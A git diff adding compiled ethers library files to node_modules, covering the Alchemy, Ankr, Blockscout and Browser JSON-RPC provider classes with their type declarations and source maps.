network", "network", name); +} +/** + * The **AlchemyProvider** connects to the [[link-alchemy]] + * JSON-RPC end-points. + * + * By default, a highly-throttled API key is used, which is + * appropriate for quick prototypes and simple scripts. To + * gain access to an increased rate-limit, it is highly + * recommended to [sign up here](link-alchemy-signup). + * + * @_docloc: api/providers/thirdparty + */ +class AlchemyProvider extends provider_jsonrpc_js_1.JsonRpcProvider { + apiKey; + constructor(_network, apiKey) { + if (_network == null) { + _network = "mainnet"; + } + const network = network_js_1.Network.from(_network); + if (apiKey == null) { + apiKey = defaultApiKey; + } + const request = AlchemyProvider.getRequest(network, apiKey); + super(request, network, { staticNetwork: network }); + (0, index_js_1.defineProperties)(this, { apiKey }); + } + _getProvider(chainId) { + try { + return new AlchemyProvider(chainId, this.apiKey); + } + catch (error) { } + return super._getProvider(chainId); + } + async _perform(req) { + // https://docs.alchemy.com/reference/trace-transaction + if (req.method === "getTransactionResult") { + const { trace, tx } = await (0, index_js_1.resolveProperties)({ + trace: this.send("trace_transaction", [req.hash]), + tx: this.getTransaction(req.hash) + }); + if (trace == null || tx == null) { + return null; + } + let data; + let error = false; + try { + data = trace[0].result.output; + error = (trace[0].error === "Reverted"); + } + catch (error) { } + if (data) { + (0, index_js_1.assert)(!error, "an error occurred during transaction executions", "CALL_EXCEPTION", { + action: "getTransactionResult", + data, + reason: null, + transaction: tx, + invocation: null, + revert: null // @TODO + }); + return data; + } + (0, index_js_1.assert)(false, "could not parse trace result", "BAD_DATA", { value: trace }); + } + return await super._perform(req); + } + isCommunityResource() { + return (this.apiKey === defaultApiKey); + } + static getRequest(network, apiKey) { + if (apiKey == null) { + apiKey = defaultApiKey; + } + const request = new index_js_1.FetchRequest(`https:/\/${getHost(network.name)}/v2/${apiKey}`); + request.allowGzip = true; + if (apiKey === defaultApiKey) { + request.retryFunc = async (request, response, attempt) => { + (0, community_js_1.showThrottleMessage)("alchemy"); + return true; + }; + } + return request; + } +} +exports.AlchemyProvider = AlchemyProvider; +//# sourceMappingURL=provider-alchemy.js.map \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/providers/provider-alchemy.js.map b/node_modules/ethers/lib.commonjs/providers/provider-alchemy.js.map new file mode 100644 index 000000000000..a214f597f95a --- /dev/null +++ b/node_modules/ethers/lib.commonjs/providers/provider-alchemy.js.map @@ -0,0 +1 @@ +{"version":3,"file":"provider-alchemy.js","sourceRoot":"","sources":["../../src.ts/providers/provider-alchemy.ts"],"names":[],"mappings":";AAAA;;;;;;;;;;;;;;;;;;;;;;;GAuBG;;;AAEH,gDAG2B;AAE3B,iDAAqD;AACrD,6CA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BAAgB,EAAE;oBAChF,MAAM,EAAE,sBAAsB;oBAC9B,IAAI;oBACJ,MAAM,EAAE,IAAI;oBACZ,WAAW,EAAE,EAAE;oBACf,UAAU,EAAE,IAAI;oBAChB,MAAM,EAAE,IAAI,CAAC,QAAQ;iBACxB,CAAC,CAAC;gBACH,OAAO,IAAI,CAAC;aACf;YAED,IAAA,iBAAM,EAAC,KAAK,EAAE,8BAA8B,EAAE,UAAU,EAAE,EAAE,KAAK,EAAE,KAAK,EAAE,CAAC,CAAC;SAC/E;QAED,OAAO,MAAM,KAAK,CAAC,QAAQ,CAAC,GAAG,CAAC,CAAC;IACrC,CAAC;IAED,mBAAmB;QACf,OAAO,CAAC,IAAI,CAAC,MAAM,KAAK,aAAa,CAAC,CAAC;IAC3C,CAAC;IAED,MAAM,CAAC,UAAU,CAAC,OAAgB,EAAE,MAAe;QAC/C,IAAI,MAAM,IAAI,IAAI,EAAE;YAAE,MAAM,GAAG,aAAa,CAAC;SAAE;QAE/C,MAAM,OAAO,GAAG,IAAI,uBAAY,CAAC,YAAa,OAAO,CAAC,OAAO,CAAC,IAAI,CAAE,OAAQ,MAAO,EAAE,CAAC,CAAC;QACvF,OAAO,CAAC,SAAS,GAAG,IAAI,CAAC;QAEzB,IAAI,MAAM,KAAK,aAAa,EAAE;YAC1B,OAAO,CAAC,SAAS,GAAG,KAAK,EAAE,OAAO,EAAE,QAAQ,EAAE,OAAO,EAAE,EAAE;gBACrD,IAAA,kCAAmB,EAAC,SAAS,CAAC,CAAC;gBAC/B,OAAO,IAAI,CAAC;YAChB,CAAC,CAAA;SACJ;QAED,OAAO,OAAO,CAAC;IACnB,CAAC;CACJ;AA3ED,0CA2EC"} \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/providers/provider-ankr.d.ts b/node_modules/ethers/lib.commonjs/providers/provider-ankr.d.ts new file mode 100644 index 000000000000..fcbfb93f6db3 --- /dev/null +++ b/node_modules/ethers/lib.commonjs/providers/provider-ankr.d.ts @@ -0,0 +1,61 @@ +/** + * [[link-ankr]] provides a third-party service for connecting to + * various blockchains over JSON-RPC. + * + * **Supported Networks** + * + * - Ethereum Mainnet (``mainnet``) + * - Goerli Testnet (``goerli``) + * - Sepolia Testnet (``sepolia``) + * - Arbitrum (``arbitrum``) + * - Base (``base``) + * - Base Goerlia Testnet (``base-goerli``) + * - Base Sepolia Testnet (``base-sepolia``) + * - BNB (``bnb``) + * - BNB Testnet (``bnbt``) + * - Optimism (``optimism``) + * - Optimism Goerli Testnet (``optimism-goerli``) + * - Optimism Sepolia Testnet (``optimism-sepolia``) + * - Polygon (``matic``) + * - Polygon Mumbai Testnet (``matic-mumbai``) + * + * @_subsection: api/providers/thirdparty:Ankr [providers-ankr] + */ +import { FetchRequest } from "../utils/index.js"; +import { AbstractProvider } from "./abstract-provider.js"; +import { Network } from "./network.js"; +import { JsonRpcProvider } from "./provider-jsonrpc.js"; +import type { CommunityResourcable } from "./community.js"; +import type { Networkish } from "./network.js"; +import type { JsonRpcError, JsonRpcPayload } from "./provider-jsonrpc.js"; +/** + * The **AnkrProvider** connects to the [[link-ankr]] + * JSON-RPC end-points. + * + * By default, a highly-throttled API key is used, which is + * appropriate for quick prototypes and simple scripts. To + * gain access to an increased rate-limit, it is highly + * recommended to [sign up here](link-ankr-signup). + */ +export declare class AnkrProvider extends JsonRpcProvider implements CommunityResourcable { + /** + * The API key for the Ankr connection. + */ + readonly apiKey: string; + /** + * Create a new **AnkrProvider**. + * + * By default connecting to ``mainnet`` with a highly throttled + * API key. + */ + constructor(_network?: Networkish, apiKey?: null | string); + _getProvider(chainId: number): AbstractProvider; + /** + * Returns a prepared request for connecting to %%network%% with + * %%apiKey%%. + */ + static getRequest(network: Network, apiKey?: null | string): FetchRequest; + getRpcError(payload: JsonRpcPayload, error: JsonRpcError): Error; + isCommunityResource(): boolean; +} +//# sourceMappingURL=provider-ankr.d.ts.map \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/providers/provider-ankr.d.ts.map b/node_modules/ethers/lib.commonjs/providers/provider-ankr.d.ts.map new file mode 100644 index 000000000000..0f45ec5667a7 --- /dev/null +++ b/node_modules/ethers/lib.commonjs/providers/provider-ankr.d.ts.map @@ -0,0 +1 @@ +{"version":3,"file":"provider-ankr.d.ts","sourceRoot":"","sources":["../../src.ts/providers/provider-ankr.ts"],"names":[],"mappings":"AAAA;;;;;;;;;;;;;;;;;;;;;;GAsBG;AACH,OAAO,EACe,YAAY,EACjC,MAAM,mBAAmB,CAAC;AAE3B,OAAO,EAAE,gBAAgB,EAAE,MAAM,wBAAwB,CAAC;AAE1D,OAAO,EAAE,OAAO,EAAE,MAAM,cAAc,CAAC;AACvC,OAAO,EAAE,eAAe,EAAE,MAAM,uBAAuB,CAAC;AAExD,OAAO,KAAK,EAAE,oBAAoB,EAAE,MAAM,gBAAgB,CAAC;AAC3D,OAAO,KAAK,EAAE,UAAU,EAAE,MAAM,cAAc,CAAC;AAC/C,OAAO,KAAK,EAAE,YAAY,EAAE,cAAc,EAAE,MAAM,uBAAuB,CAAC;AA0C1E;;;;;;;;GAQG;AACH,qBAAa,YAAa,SAAQ,eAAgB,YAAW,oBAAoB;IAE7E;;OAEG;IACH,QAAQ,CAAC,MAAM,EAAG,MAAM,CAAC;IAEzB;;;;;OAKG;gBACS,QAAQ,CAAC,EAAE,UAAU,EAAE,MAAM,CAAC,EAAE,IAAI,GAAG,MAAM;IAczD,YAAY,CAAC,OAAO,EAAE,MAAM,GAAG,gBAAgB;IAO/C;;;OAGG;IACH,MAAM,CAAC,UAAU,CAAC,OAAO,EAAE,OAAO,EAAE,MAAM,CAAC,EAAE,IAAI,GAAG,MAAM,GAAG,YAAY;IAgBzE,WAAW,CAAC,OAAO,EAAE,cAAc,EAAE,KAAK,EAAE,YAAY,GAAG,KAAK;IAUhE,mBAAmB,IAAI,OAAO;CAGjC"} \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/providers/provider-ankr.js b/node_modules/ethers/lib.commonjs/providers/provider-ankr.js new file mode 100644 index 000000000000..6e510e72ea5d --- /dev/null +++ b/node_modules/ethers/lib.commonjs/providers/provider-ankr.js @@ -0,0 +1,137 @@ +"use strict"; +Object.defineProperty(exports, "__esModule", { value: true }); +exports.AnkrProvider = void 0; +/** + * [[link-ankr]] provides a third-party service for connecting to + * various blockchains over JSON-RPC. + * + * **Supported Networks** + * + * - Ethereum Mainnet (``mainnet``) + * - Goerli Testnet (``goerli``) + * - Sepolia Testnet (``sepolia``) + * - Arbitrum (``arbitrum``) + * - Base (``base``) + * - Base Goerlia Testnet (``base-goerli``) + * - Base Sepolia Testnet (``base-sepolia``) + * - BNB (``bnb``) + * - BNB Testnet (``bnbt``) + * - Optimism (``optimism``) + * - Optimism Goerli Testnet (``optimism-goerli``) + * - Optimism Sepolia Testnet (``optimism-sepolia``) + * - Polygon (``matic``) + * - Polygon Mumbai Testnet (``matic-mumbai``) + * + * @_subsection: api/providers/thirdparty:Ankr [providers-ankr] + */ +const index_js_1 = require("../utils/index.js"); +const community_js_1 = require("./community.js"); +const network_js_1 = require("./network.js"); +const provider_jsonrpc_js_1 = require("./provider-jsonrpc.js"); +const defaultApiKey = "9f7d929b018cdffb338517efa06f58359e86ff1ffd350bc889738523659e7972"; +function getHost(name) { + switch (name) { + case "mainnet": + return "rpc.ankr.com/eth"; + case "goerli": + return "rpc.ankr.com/eth_goerli"; + case "sepolia": + return "rpc.ankr.com/eth_sepolia"; + case "arbitrum": + return "rpc.ankr.com/arbitrum"; + case "base": + return "rpc.ankr.com/base"; + case "base-goerli": + return "rpc.ankr.com/base_goerli"; + case "base-sepolia": + return "rpc.ankr.com/base_sepolia"; + case "bnb": + return "rpc.ankr.com/bsc"; + case "bnbt": + return "rpc.ankr.com/bsc_testnet_chapel"; + case "matic": + return "rpc.ankr.com/polygon"; + case "matic-mumbai": + return "rpc.ankr.com/polygon_mumbai"; + case "optimism": + return "rpc.ankr.com/optimism"; + case "optimism-goerli": + return "rpc.ankr.com/optimism_testnet"; + case "optimism-sepolia": + return "rpc.ankr.com/optimism_sepolia"; + } + (0, index_js_1.assertArgument)(false, "unsupported network", "network", name); +} +/** + * The **AnkrProvider** connects to the [[link-ankr]] + * JSON-RPC end-points. + * + * By default, a highly-throttled API key is used, which is + * appropriate for quick prototypes and simple scripts. To + * gain access to an increased rate-limit, it is highly + * recommended to [sign up here](link-ankr-signup). + */ +class AnkrProvider extends provider_jsonrpc_js_1.JsonRpcProvider { + /** + * The API key for the Ankr connection. + */ + apiKey; + /** + * Create a new **AnkrProvider**. + * + * By default connecting to ``mainnet`` with a highly throttled + * API key. + */ + constructor(_network, apiKey) { + if (_network == null) { + _network = "mainnet"; + } + const network = network_js_1.Network.from(_network); + if (apiKey == null) { + apiKey = defaultApiKey; + } + // Ankr does not support filterId, so we force polling + const options = { polling: true, staticNetwork: network }; + const request = AnkrProvider.getRequest(network, apiKey); + super(request, network, options); + (0, index_js_1.defineProperties)(this, { apiKey }); + } + _getProvider(chainId) { + try { + return new AnkrProvider(chainId, this.apiKey); + } + catch (error) { } + return super._getProvider(chainId); + } + /** + * Returns a prepared request for connecting to %%network%% with + * %%apiKey%%. + */ + static getRequest(network, apiKey) { + if (apiKey == null) { + apiKey = defaultApiKey; + } + const request = new index_js_1.FetchRequest(`https:/\/${getHost(network.name)}/${apiKey}`); + request.allowGzip = true; + if (apiKey === defaultApiKey) { + request.retryFunc = async (request, response, attempt) => { + (0, community_js_1.showThrottleMessage)("AnkrProvider"); + return true; + }; + } + return request; + } + getRpcError(payload, error) { + if (payload.method === "eth_sendRawTransaction") { + if (error && error.error && error.error.message === "INTERNAL_ERROR: could not replace existing tx") { + error.error.message = "replacement transaction underpriced"; + } + } + return super.getRpcError(payload, error); + } + isCommunityResource() { + return (this.apiKey === defaultApiKey); + } +} +exports.AnkrProvider = AnkrProvider; +//# sourceMappingURL=provider-ankr.js.map \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/providers/provider-ankr.js.map b/node_modules/ethers/lib.commonjs/providers/provider-ankr.js.map new file mode 100644 index 000000000000..5ce1222faa74 --- /dev/null +++ b/node_modules/ethers/lib.commonjs/providers/provider-ankr.js.map @@ -0,0 +1 @@ +{"version":3,"file":"provider-ankr.js","sourceRoot":"","sources":["../../src.ts/providers/provider-ankr.ts"],"names":[],"mappings":";;;AAAA;;;;;;;;;;;;;;;;;;;;;;GAsBG;AACH,gDAE2B;AAG3B,iDAAqD;AACrD,6CAAuC;AACvC,+DAAwD;AAOxD,MAAM,aAAa,GAAG,kEAAkE,CAAC;AAEzF,SAAS,OAAO,CAAC,IAAY;IACzB,QAAQ,IAAI,EAAE;QACV,KAAK,SAAS;YACV,OAAO,kBAAkB,CAAC;QAC9B,KAAK,QAAQ;YACT,OAAO,yBAAyB,CAAC;QACrC,KAAK,SAAS;YACV,OAAO,0BAA0B,CAAC;QAEtC,KAAK,UAAU;YACX,OAAO,uBAAuB,CAAC;QACnC,KAAK,MAAM;YACP,OAAO,mBAAmB,CAAC;QAC/B,KAAK,aAAa;YACd,OAAO,0BAA0B,CAAC;QACtC,KAAK,cAAc;YACf,OAAO,2BAA2B,CAAC;QACvC,KAAK,KAAK;YACN,OAAO,kBAAkB,CAAC;QAC9B,KAAK,MAAM;YACP,OAAO,iCAAiC,CAAC;QAC7C,KAAK,OAAO;YACR,OAAO,sBAAsB,CAAC;QAClC,KAAK,cAAc;YACf,OAAO,6BAA6B,CAAC;QACzC,KAAK,UAAU;YACX,OAAO,uBAAuB,CAAC;QACnC,KAAK,iBAAiB;YAClB,OAAO,+BAA+B,CAAC;QAC3C,KAAK,kBAAkB;YACnB,OAAO,+BAA+B,CAAC;KAC9C;IAED,IAAA,yBAAc,EAAC,KAAK,EAAE,qBAAqB,EAAE,SAAS,EAAE,IAAI,CAAC,CAAC;AAClE,CAAC;AAGD;;;;;;;;GAQG;AACH,MAAa,YAAa,SAAQ,qCAAe;IAE7C;;OAEG;IACM,MAAM,CAAU;IAEzB;;;;;OAKG;IACH,YAAY,QAAqB,EAAE,MAAsB;QACrD,IAAI,QAAQ,IA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ACL;QAED,OAAO,OAAO,CAAC;IACnB,CAAC;IAED,WAAW,CAAC,OAAuB,EAAE,KAAmB;QACpD,IAAI,OAAO,CAAC,MAAM,KAAK,wBAAwB,EAAE;YAC7C,IAAI,KAAK,IAAI,KAAK,CAAC,KAAK,IAAI,KAAK,CAAC,KAAK,CAAC,OAAO,KAAK,+CAA+C,EAAE;gBACjG,KAAK,CAAC,KAAK,CAAC,OAAO,GAAG,qCAAqC,CAAC;aAC/D;SACJ;QAED,OAAO,KAAK,CAAC,WAAW,CAAC,OAAO,EAAE,KAAK,CAAC,CAAC;IAC7C,CAAC;IAED,mBAAmB;QACf,OAAO,CAAC,IAAI,CAAC,MAAM,KAAK,aAAa,CAAC,CAAC;IAC3C,CAAC;CACJ;AAnED,oCAmEC"} \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/providers/provider-blockscout.d.ts b/node_modules/ethers/lib.commonjs/providers/provider-blockscout.d.ts new file mode 100644 index 000000000000..be8c395e203b --- /dev/null +++ b/node_modules/ethers/lib.commonjs/providers/provider-blockscout.d.ts @@ -0,0 +1,59 @@ +/** + * [[link-blockscout]] provides a third-party service for connecting to + * various blockchains over JSON-RPC. + * + * **Supported Networks** + * + * - Ethereum Mainnet (``mainnet``) + * - Sepolia Testnet (``sepolia``) + * - Holesky Testnet (``holesky``) + * - Ethereum Classic (``classic``) + * - Arbitrum (``arbitrum``) + * - Base (``base``) + * - Base Sepolia Testnet (``base-sepolia``) + * - Gnosis (``xdai``) + * - Optimism (``optimism``) + * - Optimism Sepolia Testnet (``optimism-sepolia``) + * - Polygon (``matic``) + * + * @_subsection: api/providers/thirdparty:Blockscout [providers-blockscout] + */ +import { FetchRequest } from "../utils/index.js"; +import { Network } from "./network.js"; +import { JsonRpcProvider } from "./provider-jsonrpc.js"; +import type { AbstractProvider, PerformActionRequest } from "./abstract-provider.js"; +import type { CommunityResourcable } from "./community.js"; +import type { Networkish } from "./network.js"; +import type { JsonRpcPayload, JsonRpcError } from "./provider-jsonrpc.js"; +/** + * The **BlockscoutProvider** connects to the [[link-blockscout]] + * JSON-RPC end-points. + * + * By default, a highly-throttled API key is used, which is + * appropriate for quick prototypes and simple scripts. To + * gain access to an increased rate-limit, it is highly + * recommended to [sign up here](link-blockscout). + */ +export declare class BlockscoutProvider extends JsonRpcProvider implements CommunityResourcable { + /** + * The API key. + */ + readonly apiKey: null | string; + /** + * Creates a new **BlockscoutProvider**. + */ + constructor(_network?: Networkish, apiKey?: null | string); + _getProvider(chainId: number): AbstractProvider; + isCommunityResource(): boolean; + getRpcRequest(req: PerformActionRequest): null | { + method: string; + args: Array; + }; + getRpcError(payload: JsonRpcPayload, _error: JsonRpcError): Error; + /** + * Returns a prepared request for connecting to %%network%% + * with %%apiKey%%. + */ + static getRequest(network: Network): FetchRequest; +} +//# sourceMappingURL=provider-blockscout.d.ts.map \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/providers/provider-blockscout.d.ts.map b/node_modules/ethers/lib.commonjs/providers/provider-blockscout.d.ts.map new file mode 100644 index 000000000000..41eb14f60993 --- /dev/null +++ b/node_modules/ethers/lib.commonjs/providers/provider-blockscout.d.ts.map @@ -0,0 +1 @@ +{"version":3,"file":"provider-blockscout.d.ts","sourceRoot":"","sources":["../../src.ts/providers/provider-blockscout.ts"],"names":[],"mappings":"AACA;;;;;;;;;;;;;;;;;;;GAmBG;AACH,OAAO,EAC+B,YAAY,EACjD,MAAM,mBAAmB,CAAC;AAE3B,OAAO,EAAE,OAAO,EAAE,MAAM,cAAc,CAAC;AACvC,OAAO,EAAE,eAAe,EAAE,MAAM,uBAAuB,CAAC;AAExD,OAAO,KAAK,EAAE,gBAAgB,EAAE,oBAAoB,EAAE,MAAM,wBAAwB,CAAC;AACrF,OAAO,KAAK,EAAE,oBAAoB,EAAE,MAAM,gBAAgB,CAAC;AAC3D,OAAO,KAAK,EAAE,UAAU,EAAE,MAAM,cAAc,CAAC;AAC/C,OAAO,KAAK,EAAE,cAAc,EAAE,YAAY,EAAE,MAAM,uBAAuB,CAAC;AAuC1E;;;;;;;;GAQG;AACH,qBAAa,kBAAmB,SAAQ,eAAgB,YAAW,oBAAoB;IACnF;;OAEG;IACH,QAAQ,CAAC,MAAM,EAAG,IAAI,GAAG,MAAM,CAAC;IAEhC;;OAEG;gBACS,QAAQ,CAAC,EAAE,UAAU,EAAE,MAAM,CAAC,EAAE,IAAI,GAAG,MAAM;IAYzD,YAAY,CAAC,OAAO,EAAE,MAAM,GAAG,gBAAgB;IAO/C,mBAAmB,IAAI,OAAO;IAI9B,aAAa,CAAC,GAAG,EAAE,oBAAoB,GAAG,IAAI,GAAG;QAAE,MAAM,EAAE,MAAM,CAAC;QAAC,IAAI,EAAE,KAAK,CAAC,GAAG,CAAC,CAAA;KAAE;IAUrF,WAAW,CAAC,OAAO,EAAE,cAAc,EAAE,MAAM,EAAE,YAAY,GAAG,KAAK;IAoCjE;;;OAGG;IACH,MAAM,CAAC,UAAU,CAAC,OAAO,EAAE,OAAO,GAAG,YAAY;CAKpD"} \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/providers/provider-blockscout.js b/node_modules/ethers/lib.commonjs/providers/provider-blockscout.js new file mode 100644 index 000000000000..03e347669b42 --- /dev/null +++ b/node_modules/ethers/lib.commonjs/providers/provider-blockscout.js @@ -0,0 +1,145 @@ +"use strict"; +Object.defineProperty(exports, "__esModule", { value: true }); +exports.BlockscoutProvider = void 0; +/** + * [[link-blockscout]] provides a third-party service for connecting to + * various blockchains over JSON-RPC. + * + * **Supported Networks** + * + * - Ethereum Mainnet (``mainnet``) + * - Sepolia Testnet (``sepolia``) + * - Holesky Testnet (``holesky``) + * - Ethereum Classic (``classic``) + * - Arbitrum (``arbitrum``) + * - Base (``base``) + * - Base Sepolia Testnet (``base-sepolia``) + * - Gnosis (``xdai``) + * - Optimism (``optimism``) + * - Optimism Sepolia Testnet (``optimism-sepolia``) + * - Polygon (``matic``) + * + * @_subsection: api/providers/thirdparty:Blockscout [providers-blockscout] + */ +const index_js_1 = require("../utils/index.js"); +const network_js_1 = require("./network.js"); +const provider_jsonrpc_js_1 = require("./provider-jsonrpc.js"); +function getUrl(name) { + switch (name) { + case "mainnet": + return "https:/\/eth.blockscout.com/api/eth-rpc"; + case "sepolia": + return "https:/\/eth-sepolia.blockscout.com/api/eth-rpc"; + case "holesky": + return "https:/\/eth-holesky.blockscout.com/api/eth-rpc"; + case "classic": + return "https:/\/etc.blockscout.com/api/eth-rpc"; + case "arbitrum": + return "https:/\/arbitrum.blockscout.com/api/eth-rpc"; + case "base": + return "https:/\/base.blockscout.com/api/eth-rpc"; + case "base-sepolia": + return "https:/\/base-sepolia.blockscout.com/api/eth-rpc"; + case "matic": + return "https:/\/polygon.blockscout.com/api/eth-rpc"; + case "optimism": + return "https:/\/optimism.blockscout.com/api/eth-rpc"; + case "optimism-sepolia": + return "https:/\/optimism-sepolia.blockscout.com/api/eth-rpc"; + case "xdai": + return "https:/\/gnosis.blockscout.com/api/eth-rpc"; + } + (0, index_js_1.assertArgument)(false, "unsupported network", "network", name); +} +/** + * The **BlockscoutProvider** connects to the [[link-blockscout]] + * JSON-RPC end-points. + * + * By default, a highly-throttled API key is used, which is + * appropriate for quick prototypes and simple scripts. To + * gain access to an increased rate-limit, it is highly + * recommended to [sign up here](link-blockscout). + */ +class BlockscoutProvider extends provider_jsonrpc_js_1.JsonRpcProvider { + /** + * The API key. + */ + apiKey; + /** + * Creates a new **BlockscoutProvider**. + */ + constructor(_network, apiKey) { + if (_network == null) { + _network = "mainnet"; + } + const network = network_js_1.Network.from(_network); + if (apiKey == null) { + apiKey = null; + } + const request = BlockscoutProvider.getRequest(network); + super(request, network, { staticNetwork: network }); + (0, index_js_1.defineProperties)(this, { apiKey }); + } + _getProvider(chainId) { + try { + return new BlockscoutProvider(chainId, this.apiKey); + } + catch (error) { } + return super._getProvider(chainId); + } + isCommunityResource() { + return (this.apiKey === null); + } + getRpcRequest(req) { + // Blockscout enforces the TAG argument for estimateGas + const resp = super.getRpcRequest(req); + if (resp && resp.method === "eth_estimateGas" && resp.args.length == 1) { + resp.args = resp.args.slice(); + resp.args.push("latest"); + } + return resp; + } + getRpcError(payload, _error) { + const error = _error ? _error.error : null; + // Blockscout currently drops the VM result and replaces it with a + // human-readable string, so we need to make it machine-readable. + if (error && error.code === -32015 && !(0, index_js_1.isHexString)(error.data || "", true)) { + const panicCodes = { + "assert(false)": "01", + "arithmetic underflow or overflow": "11", + "division or modulo by zero": "12", + "out-of-bounds array access; popping on an empty array": "31", + "out-of-bounds access of an array or bytesN": "32" + }; + let panicCode = ""; + if (error.message === "VM execution error.") { + // eth_call passes this message + panicCode = panicCodes[error.data] || ""; + } + else if (panicCodes[error.message || ""]) { + panicCode = panicCodes[error.message || ""]; + } + if (panicCode) { + error.message += ` (reverted: ${error.data})`; + error.data = "0x4e487b7100000000000000000000000000000000000000000000000000000000000000" + panicCode; + } + } + else if (error && error.code === -32000) { + if (error.message === "wrong transaction nonce") { + error.message += " (nonce too low)"; + } + } + return super.getRpcError(payload, _error); + } + /** + * Returns a prepared request for connecting to %%network%% + * with %%apiKey%%. + */ + static getRequest(network) { + const request = new index_js_1.FetchRequest(getUrl(network.name)); + request.allowGzip = true; + return request; + } +} +exports.BlockscoutProvider = BlockscoutProvider; +//# sourceMappingURL=provider-blockscout.js.map \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/providers/provider-blockscout.js.map b/node_modules/ethers/lib.commonjs/providers/provider-blockscout.js.map new file mode 100644 index 000000000000..25ac82259c4f --- /dev/null +++ b/node_modules/ethers/lib.commonjs/providers/provider-blockscout.js.map @@ -0,0 +1 @@ +{"version":3,"file":"provider-blockscout.js","sourceRoot":"","sources":["../../src.ts/providers/provider-blockscout.ts"],"names":[],"mappings":";;;AACA;;;;;;;;;;;;;;;;;;;GAmBG;AACH,gDAE2B;AAE3B,6CAAuC;AACvC,+DAAwD;AAQxD,SAAS,MAAM,CAAC,IAAY;IACxB,QAAO,IAAI,EAAE;QACT,KAAK,SAAS;YACV,OAAO,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AAI,CAAC,IAAI,EAAE,CAAC;aAC5C;iBAAM,IAAI,UAAU,CAAC,KAAK,CAAC,OAAO,IAAI,EAAE,CAAC,EAAE;gBACxC,SAAS,GAAG,UAAU,CAAC,KAAK,CAAC,OAAO,IAAI,EAAE,CAAC,CAAC;aAC/C;YAED,IAAI,SAAS,EAAE;gBACX,KAAK,CAAC,OAAO,IAAI,eAAgB,KAAK,CAAC,IAAK,GAAG,CAAC;gBAChD,KAAK,CAAC,IAAI,GAAG,0EAA0E,GAAG,SAAS,CAAC;aACvG;SAEJ;aAAM,IAAI,KAAK,IAAI,KAAK,CAAC,IAAI,KAAK,CAAC,KAAK,EAAE;YACvC,IAAI,KAAK,CAAC,OAAO,KAAK,yBAAyB,EAAE;gBAC7C,KAAK,CAAC,OAAO,IAAI,kBAAkB,CAAC;aACvC;SACJ;QAED,OAAO,KAAK,CAAC,WAAW,CAAC,OAAO,EAAE,MAAM,CAAC,CAAC;IAC9C,CAAC;IAED;;;OAGG;IACH,MAAM,CAAC,UAAU,CAAC,OAAgB;QAC9B,MAAM,OAAO,GAAG,IAAI,uBAAY,CAAC,MAAM,CAAC,OAAO,CAAC,IAAI,CAAC,CAAC,CAAC;QACvD,OAAO,CAAC,SAAS,GAAG,IAAI,CAAC;QACzB,OAAO,OAAO,CAAC;IACnB,CAAC;CACJ;AAvFD,gDAuFC"} \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/providers/provider-browser.d.ts b/node_modules/ethers/lib.commonjs/providers/provider-browser.d.ts new file mode 100644 index 000000000000..02a5e7786590 --- /dev/null +++ b/node_modules/ethers/lib.commonjs/providers/provider-browser.d.ts @@ -0,0 +1,108 @@ +import { JsonRpcApiPollingProvider } from "./provider-jsonrpc.js"; +import type { JsonRpcError, JsonRpcPayload, JsonRpcResult, JsonRpcSigner } from "./provider-jsonrpc.js"; +import type { Network, Networkish } from "./network.js"; +/** + * The interface to an [[link-eip-1193]] provider, which is a standard + * used by most injected providers, which the [[BrowserProvider]] accepts + * and exposes the API of. + */ +export interface Eip1193Provider { + /** + * See [[link-eip-1193]] for details on this method. + */ + request(request: { + method: string; + params?: Array | Record; + }): Promise; +} +/** + * The possible additional events dispatched when using the ``"debug"`` + * event on a [[BrowserProvider]]. + */ +export type DebugEventBrowserProvider = { + action: "sendEip1193Payload"; + payload: { + method: string; + params: Array; + }; +} | { + action: "receiveEip1193Result"; + result: any; +} | { + action: "receiveEip1193Error"; + error: Error; +}; +/** + * Provider info provided by the [[link-eip-6963]] discovery mechanism. + */ +export interface Eip6963ProviderInfo { + uuid: string; + name: string; + icon: string; + rdns: string; +} +export type BrowserProviderOptions = { + polling?: boolean; + staticNetwork?: null | boolean | Network; + cacheTimeout?: number; + pollingInterval?: number; + providerInfo?: Eip6963ProviderInfo; +}; +/** + * Specifies how [[link-eip-6963]] discovery should proceed. + * + * See: [[BrowserProvider-discover]] + */ +export interface BrowserDiscoverOptions { + /** + * Override provider detection with this provider. + */ + provider?: Eip1193Provider; + /** + * Duration to wait to detect providers. (default: 300ms) + */ + timeout?: number; + /** + * Return the first detected provider. Otherwise wait for %%timeout%% + * and allowing filtering before selecting the desired provider. + */ + anyProvider?: boolean; + /** + * Use the provided window context. Useful in non-standard + * environments or to hijack where a provider comes from. + */ + window?: any; + /** + * Explicitly choose which provider to used once scanning is complete. + */ + filter?: (found: Array) => null | BrowserProvider | Eip6963ProviderInfo; +} +/** + * A **BrowserProvider** is intended to wrap an injected provider which + * adheres to the [[link-eip-1193]] standard, which most (if not all) + * currently do. + */ +export declare class BrowserProvider extends JsonRpcApiPollingProvider { + #private; + /** + * Connect to the %%ethereum%% provider, optionally forcing the + * %%network%%. + */ + constructor(ethereum: Eip1193Provider, network?: Networkish, _options?: BrowserProviderOptions); + get providerInfo(): null | Eip6963ProviderInfo; + send(method: string, params: Array | Record): Promise; + _send(payload: JsonRpcPayload | Array): Promise>; + getRpcError(payload: JsonRpcPayload, error: JsonRpcError): Error; + /** + * Resolves to ``true`` if the provider manages the %%address%%. + */ + hasSigner(address: number | string): Promise; + getSigner(address?: number | string): Promise; + /** + * Discover and connect to a Provider in the Browser using the + * [[link-eip-6963]] discovery mechanism. If no providers are + * present, ``null`` is resolved. + */ + static discover(options?: BrowserDiscoverOptions): Promise; +} +//# sourceMappingURL=provider-browser.d.ts.map \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/providers/provider-browser.d.ts.map b/node_modules/ethers/lib.commonjs/providers/provider-browser.d.ts.map new file mode 100644 index 000000000000..82554ebb11ac --- /dev/null +++ b/node_modules/ethers/lib.commonjs/providers/provider-browser.d.ts.map @@ -0,0 +1 @@ 